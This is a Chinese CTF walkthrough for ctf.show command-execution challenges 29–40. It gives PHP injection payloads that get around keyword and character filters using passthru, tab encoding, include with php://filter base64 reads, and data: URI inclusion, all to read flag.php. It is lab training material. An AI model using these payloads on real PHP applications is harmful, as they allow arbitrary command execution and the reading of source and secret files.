WEB29

ctf_show-web入门-命令执行(29-39)_单引号

 

 

 正则表达式过滤了flag

首先先看看有什么文件, ?c=system(ls);

ctf_show-web入门-命令执行(29-39)_双引号_02

 

 

 看到了 flag.php 用*来输出,?c=system('cat fla*');

ctf_show-web入门-命令执行(29-39)_CTF_03

 

这时候页面还是空白,但是看前端代码

ctf_show-web入门-命令执行(29-39)_单引号_04

 

 

 

 

 

 

 

 

 

 

web30

ctf_show-web入门-命令执行(29-39)_单引号_05

 

 

 过滤了system和php

可以换用passthru()代替system (),php继续用*代替

ctf_show-web入门-命令执行(29-39)_双引号_06

 

 

 ctf_show-web入门-命令执行(29-39)_php_07

 

 

 ctf_show-web入门-命令执行(29-39)_php_08

 

 

 

 

 

 

 

 

web31

ctf_show-web入门-命令执行(29-39)_CTF_09

 

 

 又过滤了一堆

继续用passthru(),cat不行可以用more之类的代替,单引号过滤了用双引号,空格可以用tab代替

ctf_show-web入门-命令执行(29-39)_本地文件_10

 

 

 ctf_show-web入门-命令执行(29-39)_本地文件_11

c=passthru("more%09fla*");

ctf_show-web入门-命令执行(29-39)_双引号_12

 

 

 

 

 

 

 

web32

 ctf_show-web入门-命令执行(29-39)_php_13

 

 又过滤一堆符号,首先是分号没了 可以用?>闭合php语句,左括号也没了,所以用带括号的函数就行不通了

这里采用文件包含,?c=include%0a$_POST[test]?>

ctf_show-web入门-命令执行(29-39)_CTF_14

 

 

 让test为本地文件测试一下。

ctf_show-web入门-命令执行(29-39)_php_15ctf_show-web入门-命令执行(29-39)_单引号_16

 

 

 

成功,再使用伪协议,test=php://filter/read=convert.base64-encode/resource=flag.php

ctf_show-web入门-命令执行(29-39)_php_17

 

 

 ctf_show-web入门-命令执行(29-39)_CTF_18

 

 对结果base64解码

 ctf_show-web入门-命令执行(29-39)_双引号_19

 

 

 

 

 

 

 

 

 

 

 

web33-web36

ctf_show-web入门-命令执行(29-39)_本地文件_20

 

 过滤的越来越多

payload和web32一样,不再赘述

 

 

 

 

 

 

web37

ctf_show-web入门-命令执行(29-39)_双引号_21

 

 这里c参数不是执行,而是包含

使用  ?c=data:text/plain,<?=system("cat fla*");?>

 ctf_show-web入门-命令执行(29-39)_本地文件_22

 

 ctf_show-web入门-命令执行(29-39)_双引号_23

 

 

 

 

 

 

 

web38-39

同上

 

 

 

 

web40

ctf_show-web入门-命令执行(29-39)_php_24

 

 过滤一大堆,之前的伪协议也没法用了。